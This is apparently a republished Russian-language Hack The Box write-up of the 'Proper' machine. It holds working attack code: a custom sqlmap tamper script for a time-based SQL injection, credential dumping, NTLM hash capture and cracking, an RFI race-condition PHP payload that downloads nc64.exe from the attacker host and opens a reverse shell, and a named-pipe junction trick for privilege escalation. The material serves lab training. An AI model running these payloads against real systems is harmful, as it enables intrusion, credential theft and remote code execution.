Хакер - HTB Proper. Пишем tamper для sqlmap и эксплуатируем race condition через RFI

Хакер - HTB Proper. Пишем tamper для sqlmap и эксплуатируем race condition через RFI

hacker_frei

https://t.me/hacker_frei

RalfHacker 

Содержание статьи

  • Разведка
  • Сканирование портов
  • Сканирование веб-контента
  • Точка входа
  • Точка опоры
  • Уязвимость RFI
  • Утечка хеша NTLM
  • Уязвимость race condition
  • Локальное повышение привилегий

В этой статье мы прой­дем машину Proper с Hack The Box. В про­цес­се я покажу, как получить учет­ные дан­ные к сай­ту через SQL-инъ­екцию, написав свой tamper к sqlmap. Далее экс­плу­ати­руем race condition через RFI, что­бы получить пер­воначаль­ный дос­туп к хос­ту. Завер­шим про­хож­дение повыше­нием при­виле­гий через исполь­зование име­нован­ных каналов ском­про­мети­рован­ной служ­бы.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

IP машины — 10.10.10.231, заносим его в /etc/hosts:

10.10.10.231 proper.htb

И ска­ниру­ем пор­ты.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

По резуль­татам ска­ниро­вания име­ем все­го один откры­тый порт — 80, там откли­кает­ся веб‑сер­вер Microsoft IIS httpd 10.0.

Прис­тупа­ем к осмотру сай­та.

Глав­ная стра­ница сай­та

Сканирование веб-контента

На самом сай­те зацепить­ся не за что, поэто­му вру­баем перебор катало­гов.

Справка: сканирование веб-сайта

Ска­ниро­вание сай­та методом перебо­ра катало­гов и фай­лов по сло­варю — это одно из пер­вых дей­ствий при пен­тесте веб‑при­ложе­ния. Для это­го обыч­но при­меня­ют dirsearchDIRB или более быс­трый gobuster. Мы же в этой статье будем исполь­зовать встро­енные средс­тва Burp Suite.

Пе­рех­ватыва­ем зап­рос в Burp Proxy и в кон­текс­тном меню выбира­ем Engagement tools → Discover content. Ука­зыва­ем глу­бину ска­ниро­вания, инте­ресу­ющие нас рас­ширения фай­лов и бэкапов.

Нас­трой­ки Burp Discover content

Спус­тя нес­коль­ко минут (если ты, как и я, выб­рал 200 потоков для ска­ниро­вания) получим кар­ту сай­та, отталки­ваясь от которой будем опре­делять сле­дующий век­тор ата­ки.

Кар­та сай­та proper.htb

Я пос­мотрел все ком­мента­рии на всех стра­ницах (в кон­текс­тном меню Engagement tools → Find comments), но сно­ва ничего важ­ного. А вот файл products-ajax.php при­нима­ет какие‑то необыч­ные парамет­ры. Закинем этот зап­рос в Burp Repeater для тес­та. В таких слу­чаях сто­ит получить все воз­можные отве­ты от сер­вера при раз­ном количес­тве парамет­ров и даже их раз­ном зна­чении. Так, если уда­лить один из парамет­ров, то получа­ем ошиб­ку, содер­жащую соль. А если изме­нить зна­чение любого из парамет­ров, то нам сооб­щат об обна­руже­нии ата­ки.

Зап­рос без одно­го парамет­ра
Зап­рос с изме­нен­ным зна­чени­ем одно­го из парамет­ров

Так как исполь­зует­ся соль, параметр h, ско­рее все­го, хеш MD5 от зна­чения парамет­ра order. Если его изме­нить, это при­ведет к ошиб­ке, что под­твержда­ет нашу догад­ку. Что­бы это про­верить, нуж­но поп­робовать все воз­можные вари­анты хеширо­вания с исполь­зовани­ем соли. Их мож­но най­ти в справ­ке к прог­рамме John the Ripper.

john --list=subformats | grep md5

Ва­риан­ты хеширо­вания MD5 с исполь­зовани­ем соли

Для опре­деле­ния алго­рит­ма нам нуж­но соз­дать сло­варь (word), содер­жащий стро­ку id desc, и файл с хешем и солью (hash), записан­ными через знак дол­лара: hash$salt. Затем переби­раем все воз­можные фор­маты. Что­бы сде­лать это быс­тро, напишем скрипт Bash, который будет пар­сить фор­мат из вывода справ­ки, а затем при­менять его в коман­де бру­та хеша.

Сна­чала уста­новим перенос стро­ки в качес­тве раз­делите­ля (IFS), а потом будем в цик­ле получать каж­дую стро­ку из справ­ки (перемен­ная entry). Для каж­дой такой стро­ки (нап­ример, Format = dynamic_29 type = dynamic_29: md5(utf16($p))) будем пар­сить фор­мат:

  1. Ко­ман­дой tr -d ' ' уда­ляем из стро­ки все про­белы (резуль­тат: Format=dynamic_29 type=dynamic_29:md5(utf16($p))).
  2. Ко­ман­дой cut -d '=' -f 3 раз­деля­ем стро­ку по сим­волу = и получа­ем третью часть (резуль­тат: dynamic_29:md5(utf16($p))).
  3. Ко­ман­дой cut -d ':' -f 1 раз­деля­ем стро­ку по сим­волу : и получа­ем пер­вую часть (резуль­тат: dynamic_29).

За­тем выпол­няем перебор по получен­ному алго­рит­му (john --format=$format --wordlist=word hash). Так выг­лядит пол­ный скрипт:

#!/bin/bash

IFS=$'

'

for entry in $(john --list=subformats | grep md5)

do

format="$(echo $entry | tr -d ' ' | cut -d '=' -f 3 | cut -d ':' -f 1)"

echo -e "\nFormat: $format ---------------------------------\n"

john --format=$format --wordlist=word hash

done

Ре­зуль­тат перебо­ра алго­рит­мов

Для фор­мата dynamic_4 (salt + word) перебор закон­чился успешно. Так мы под­твержда­ем свое пред­положе­ние и получа­ем иско­мый алго­ритм хеширо­вания с исполь­зовани­ем соли.

Про­вер­ка алго­рит­ма хеширо­вания с исполь­зовани­ем соли

ТОЧКА ВХОДА

Те­перь мы можем манипу­лиро­вать зна­чени­ем парамет­ров так, что­бы они обра­баты­вались при­ложе­нием. Текст ошиб­ки натол­кнул меня на мысль, что мож­но было бы написать tamper для sqlmap, хотя мы пока так и не уста­нови­ли дос­товер­но, есть ли здесь воз­можность SQL-инъ­екции.

INFO

Тем­перы — это скрип­ты для sqlmap, которые пре­обра­зуют его зап­росы.

#!/usr/bin/env python

from hashlib import md5

from urllib.parse import quote_plus

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):

'''

'''

h = md5(b"hie0shah6ooNoim" + payload.encode()).hexdigest()

return quote_plus(payload) + "&h=" + h

Этот файл (я наз­вал его sqlmap_tamper.py) нуж­но раз­местить в дирек­тории /usr/share/sqlmap/tamper, пос­ле чего запус­каем sqlmap и про­веря­ем, есть ли уяз­вимость. Нам нуж­но ука­зать наш тем­пер в парамет­ре tamper, задать опцию -p для про­вер­ки, а так­же то, что мы не хотим исполь­зовать кодиро­вание URL.

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --batch --skip-urlencode --tamper=sqlmap_tamper

Ре­зуль­тат выпол­нения sqlmap

И мы попали в точ­ку: при­ложе­ние уяз­вимо к time-based SQL-инъ­екции, о чем нам и сооб­щил sqlmap. Эта чудо‑прог­рамма сох­ранила у себя шаб­лон наг­рузки для задан­ного URL, поэто­му мы можем спо­кой­но про­дол­жать работу и дос­тавать необ­ходимые дан­ные — к при­меру, наз­вания баз дан­ных (опция --dbs).

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper --dbs

По­луче­ние имен баз дан­ных с помощью sqlmap

Так мы получа­ем три базы дан­ных: слу­жеб­ная information_schema, тес­товая test и, ско­рее все­го, нуж­ная нам база дан­ных при­ложе­ния — cleaner. Получим все таб­лицы из базы опци­ей --tables, а саму базу ука­зыва­ем в парамет­ре -D.

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner --tables

По­луче­ние таб­лиц в базе cleaner с помощью sqlmap

В базе есть три таб­лицы, и в одной из них дол­жны быть учет­ные дан­ные. Ско­рее все­го, нам подой­дет таб­лица customers. Получим наз­вания стол­бцов опци­ей --columns, ука­зав таб­лицу в парамет­ре -T.

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner -T customers --columns

По­луче­ние стол­бцов в таб­лице customers с помощью sqlmap

Дей­стви­тель­но, наш­лись учет­ные дан­ные! Давай получим зна­чения (опция --dump) из стол­бцов login и passwords. Стол­бцы ука­зыва­ем через запятую в парамет­ре -C.

sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -p order --skip-urlencode --tamper=sqlmap_tamper -D cleaner -T customers -C login,password --dump

По­луче­ние учет­ных дан­ных

Из­вле­чение дан­ных про­исхо­дит очень дол­го, поэто­му поп­робу­ем взло­мать уже получен­ные хеши. Перебор с солью ни к чему не при­вел, поэто­му я поп­робовал взло­мать хеш без соли при помощи md5decrypt.net. Это дало резуль­тат!

Взло­ман­ные пароли поль­зовате­лей

ТОЧКА ОПОРЫ

Ав­торизу­емся с получен­ными учет­ными дан­ными на сай­те. Нам теперь откры­вают­ся допол­нитель­ные воз­можнос­ти, одна из них — сме­на цве­товой темы. При­чем инте­ресен сам спо­соб ее сме­ны: тема уста­нав­лива­ется через переда­чу GET-парамет­ра theme.

Стра­ница сай­та для авто­ризо­ван­ных поль­зовате­лей

Сто­ит про­тес­тировать GET-парамет­ры так же, как и в прош­лый раз. Если мы изме­ним или уда­лим один из них, то нам сооб­щат об обна­руже­нии ата­ки. Но раз мы зна­ем, как осу­щест­вля­ется под­пись, давай ука­жем зна­чение, которое будет обра­бота­но сер­вером, к при­меру test.

Соз­дание под­писи пер­вого парамет­ра
Ошиб­ка при переда­че зна­чения test

Уязвимость RFI

Как мы видим из тек­ста ошиб­ки, из ука­зан­ной нами дирек­тории под­клю­чает­ся файл header.inc (стро­ка 12) с помощью фун­кции file_get_contents, и если в фай­ле отсутс­тву­ет пос­ледова­тель­ность сим­волов <? (стро­ка 18), то он добав­ляет­ся как include (стро­ка 19).

Та­ким обра­зом, обра­щение к фай­лу про­исхо­дит дваж­ды, а это озна­чает уяз­вимость к ата­ке типа race condition: перед про­вер­кой и вклю­чени­ем фай­ла его содер­жимое воз­можно изме­нить.

Те­перь про­верим наличие уяз­вимос­ти remote file inclusion (RFI). Для это­го запус­тим локаль­ный веб‑сер­вер на осно­ве Python 3, раз­местим в этой дирек­тории файл header.inc с любым содер­жимым, соз­дадим под­пись для зап­роса фай­ла на нашем сер­вере и затем выпол­ним зап­рос.

echo "test" > header.inc

echo -n 'hie0shah6ooNoimhttp://10.10.14.137' | md5sum

python3 -m http.server 80

Соз­дание под­писи
Вы­пол­нение зап­роса

Утечка хеша NTLM

Пос­ле выпол­нения зап­роса в логах веб‑сер­вера уви­дим обра­щение к фай­лу header.inc. В отве­те опять ошиб­ка — на сер­вере отклю­чен http://. Давай поп­робу­ем про­токол SMB, в этом нам поможет скрипт smbserver из пакета impacket. Запус­тим локаль­ный SMB-сер­вер, сге­нери­руем новую под­пись и пов­торим зап­рос.

echo -n 'hie0shah6ooNoim//10.10.14.137/v' | md5sum

smbserver.py -ip 10.10.14.137 -smb2support v .

Соз­дание под­писи
Вы­пол­нение зап­роса

Те­перь видим уже дру­гую ошиб­ку, а так­же попыт­ку под­клю­чения к нашему SMB-сер­веру. Ско­рее все­го, проб­лемы с аутен­тифика­цией. В логах сер­вера мы видим имя поль­зовате­ля и хеш NTLMv2.

Ло­ги SMB-сер­вера

Да­вай поп­робу­ем сбру­тить его с помощью hashcat.

web::PROPER:aaaaaaaaaaaaaaaa:62b...00 > hash.txt

hashcat -m 5600 -a 0 hash.txt ~/tmp/tools/rockyou.txt

Ре­зуль­тат перебо­ра хеша поль­зовате­ля web

Те­перь сно­ва запус­тим наш SMB-сер­вер, но уже с аутен­тифика­цией, ука­зав учет­ные дан­ные целево­го поль­зовате­ля. Затем прос­то пов­торим зап­рос к веб‑сер­веру.

smbserver.py -ip 10.10.14.137 -username web -password 'charlotte123!' -smb2support v .

Вы­пол­нение зап­роса

На стра­нице отоб­разилось содер­жимое фай­ла header.inc с нашего SMB-сер­вера.

Уязвимость race condition

Те­перь, ког­да все готово, перей­дем к ата­ке race condition. Нуж­но соз­дать на Bash скрипт, который ста­нет бес­конеч­но перепи­сывать заново зна­чение фай­ла header.inc. Так как пол­ное копиро­вание фай­ла будет быс­трее, чем про­изволь­ная пол­ная запись в файл, мы сде­лаем два фай­ла test.txt и shell.txt со сле­дующим содер­жимым:

# test.txt

test

# shell.txt

<?php system("cmd /c powershell wget http://10.10.14.137/nc64.exe -O C:\\windows\\system32\\spool\\drivers\\color\\nc64.exe"); ?>

А теперь сам скрипт race.sh.

#!/bin/bash

while :; do

cp test.txt header.inc

cp shell2.txt header.inc

done

За­пус­каем его, не забыв в дирек­тории веб‑сер­вера раз­местить nc64.exe, и перехо­дим в Burp. Зап­рос из Burp Repeater пересы­лаем в Burp Intruder и в нас­трой­ках зада­ем тип наг­рузки Null Payload и количес­тво потоков — 1.

Burp Intruder, вклад­ка Payloads
Burp Intruder, вклад­ка Options

Пос­ле запус­ка ата­ки нуж­но наб­людать за логами веб‑сер­вера и пос­тавить ата­ку на паузу, как толь­ко там появит­ся обра­щение к фай­лу nc64.exe.

Ло­ги веб‑сер­вера

Так как netcat на сер­вер уже заг­ружен, перей­дем к реверс‑шел­лу.

Справка: реверс-шелл

Об­ратный шелл — это под­клю­чение, которое акти­виру­ет ата­куемая машина, а мы при­нима­ем и таким обра­зом под­клю­чаем­ся к ней, что­бы выпол­нять коман­ды от лица поль­зовате­ля, который запус­тил шелл. Для при­ема соеди­нения необ­ходимо соз­дать на локаль­ной машине listener, то есть «слу­шатель».

В таких слу­чаях удоб­но исполь­зовать rlwrap — readline-обо­лоч­ку, которая в чис­ле про­чего поз­воля­ет поль­зовать­ся исто­рией команд. Она обыч­но дос­тупна в репози­тории дис­три­бути­ва — прос­то выпол­ни apt install rlwrap.

В качес­тве самого лис­тенера при этом мож­но исполь­зовать широко извес­тный netcat: rlwrap nc -lvp 4321

А теперь изме­ним файл shell.txt.

<?php system("cmd /c start C:\\windows\\system32\\spool\\drivers\\color\\nc64.exe -e cmd.exe 10.10.14.137 4321"); ?>

Сно­ва запус­тим скрипт race.sh, про­дол­жим ата­ку Burp Intruder и оста­новим, ког­да в окне лис­тенера появит­ся бэк­коннект.

Флаг поль­зовате­ля

Так мы получа­ем флаг поль­зовате­ля.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь, ког­да мы получи­ли дос­туп к хос­ту, нам необ­ходимо соб­рать информа­цию. Я, как обыч­но, делаю это при помощи скрип­тов PEASS.

Справка: скрипты PEASS для Windows

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Заг­рузим на локаль­ный хост скрипт для Windows.

wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe -O wpeas.exe

Те­перь нуж­но заг­рузить его на уда­лен­ный хост. Дела­ем это через уже запущен­ный веб‑сер­вер python3 с помощью того же powershell wget. Пос­ле заг­рузки необ­ходимо выпол­нить скрипт.

powershell wget http://10.10.14.137/wpeas.exe -O C:\windows\system32\spool\drivers\color\wpeas.exe

C:\windows\system32\spool\drivers\color\wpeas.exe

Из все­го, что я выделил, пока прос­матри­вал скрипт, ничего к явно­му повыше­нию при­виле­гий при­вес­ти не может. Одна­ко сре­ди запущен­ных служб есть одна самопис­ная, и этим сто­ит поин­тересо­вать­ся.

Об­наружен­ная с помощью winpeas служ­ба

В дирек­тории Program Files находим и дирек­торию служ­бы Cleanup, которая содер­жит опи­сание, и два исполня­емых фай­ла: сер­верная и кли­ент­ская час­ти.

Со­дер­жимое дирек­тории Cleanup

Заг­рузим оба фай­ла на локаль­ный хост для ана­лиза. В этом может помочь уже заг­ружен­ный на хост Nmap. Мож­но исполь­зовать машину с Windows, но я работаю в вир­туал­ке, так как основная сис­тема — Linux.

Нач­нем с кли­ента. Прос­то запус­тив его, мы тут же получим ошиб­ку, свя­зан­ную с име­нован­ным каналом \\.\pipe\cleanupPipe. Так­же обра­тим вни­мание на вывод текуще­го пути.

Ошиб­ка при запус­ке кли­ент­ской час­ти при­ложе­ния

Ес­ли закинуть файл в дизас­сем­блер, то сра­зу узна­ем, что для его соз­дания был исполь­зован язык прог­рамми­рова­ния Go. В бинар­никах, написан­ных на Go, выпол­нение начина­ется с фун­кции main_main(). Най­дем ее в спис­ке фун­кций (он будет очень боль­шой) и перей­дем к ее пред­став­лению. Там мы можем узнать, что у кли­ента есть параметр -R (в шес­тнад­цатерич­ном виде — 522Dh), который при­нима­ет коман­ды RESTORE или CLEAN. Если прог­рамма запуще­на без это­го парамет­ра, то по умол­чанию выпол­няет­ся CLEAN.

Фраг­мент гра­фа фун­кции main_main

В зависи­мос­ти от того, какая коман­да выпол­няет­ся, может быть выз­вана фун­кция main_clean (крас­ный блок) или main_restore (синий блок).

Фраг­мент гра­фа фун­кции main_main

Эти фун­кции нуж­ны для вызова фун­кций main_serviceClean и main_serviceRestore, меж­ду которы­ми лишь неболь­шое раз­личие. В обе­их фун­кци­ях откры­вает­ся уже зна­комый нам име­нован­ный канал.

Под­клю­чение к име­нован­ному каналу

За­тем в обе­их фун­кци­ях про­исхо­дит отправ­ка коман­ды и вве­ден­ной поль­зовате­лем стро­ки, то есть в пайп cleanupPipe пишут­ся стро­ки CLEAN %s или RESTORE %s, где %s — поль­зователь­ский ввод.

Фраг­мент гра­фа фун­кции main_serviceClean
Фраг­мент гра­фа фун­кции main_serviceRestore

Да­вай про­верим получен­ную информа­цию. Для это­го запус­тим сер­вер и переда­дим в пайп дан­ные как с помощью кли­ента, так и прос­то из коман­дной стро­ки.

Вза­имо­дей­ствие с сер­вером

Мож­но заметить, что при переда­че коман­ды через коман­дную стро­ку обре­зает­ся пос­ледний сим­вол (вывод сер­вера в пер­вом и треть­ем слу­чае оди­наков). При этом нам говорят, что соот­ветс­тву­юще­го фай­ла обна­руже­но не было. О фай­ле речь шла и при самом пер­вом запус­ке. Давай ука­жем прог­рамме путь к фай­лу.

Тес­тирова­ние прог­раммы при переда­че фай­ла

Ни­каких оши­бок нет, при этом передан­ный файл исчез. Так как до это­го соот­ветс­тву­ющий файл прог­рамма пыталась най­ти в дирек­тории C:\ProgramData\Cleanup, заг­лянем в нее.

Со­дер­жимое целевой дирек­тории
Де­коди­рова­ние стро­ки Base64

Мы наш­ли файл, наз­вание которо­го — это пол­ный путь отправ­ленно­го нами фай­ла, закоди­рован­ный Base64. А вос­ста­новить этот файл поможет коман­да RESTORE.

Вос­ста­нов­ление фай­ла

Ис­ходный файл был пре­обра­зован и переме­щен в дирек­торию Cleanup, а потом вос­ста­нов­лен из нее. Выходит, мы можем получить дос­туп к любому фай­лу, если смо­жем манипу­лиро­вать путями. Давай сде­лаем сле­дующее:

  1. В дирек­тории соз­даем ссыл­ку на дирек­торию адми­на, тог­да C:\Users\root\Documents\test\ будет ука­зывать на C:\Users\root\Desktop\.
Соз­дание ссыл­ки
  1. Сох­раня­ем с помощью прог­раммы файл по ссыл­ке.
Сох­ранение фай­ла по одно­му пути
  1. Так как путь для вос­ста­нов­ления фай­ла сох­ранен в тек­сто­вом виде (Base64), мы уда­ляем ссыл­ку и соз­даем дирек­торию с таким же име­нем. Тог­да при вос­ста­нов­лении фай­ла он будет сох­ранен не по ссыл­ке, а в локаль­ную дирек­торию.
Вос­ста­нов­ление фай­ла по дру­гому пути

Ис­поль­зуем этот экс­пло­ит уже на сер­вере:

mklink /j r_exploit C:\Users\Administrator\Desktop

echo CLEAN C:\Users\Web\Documents\r_exploit\root.txtr > \\.\pipe\cleanupPipe

rmdir r_exploit

mkdir r_exploit

echo RESTORE C:\Users\Web\Documents\r_exploit\root.txtr > \\.\pipe\cleanupPipe

type r_exploit\root.txt

Файл рута

Мы получи­ли флаг рута и зах­ватили машину.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page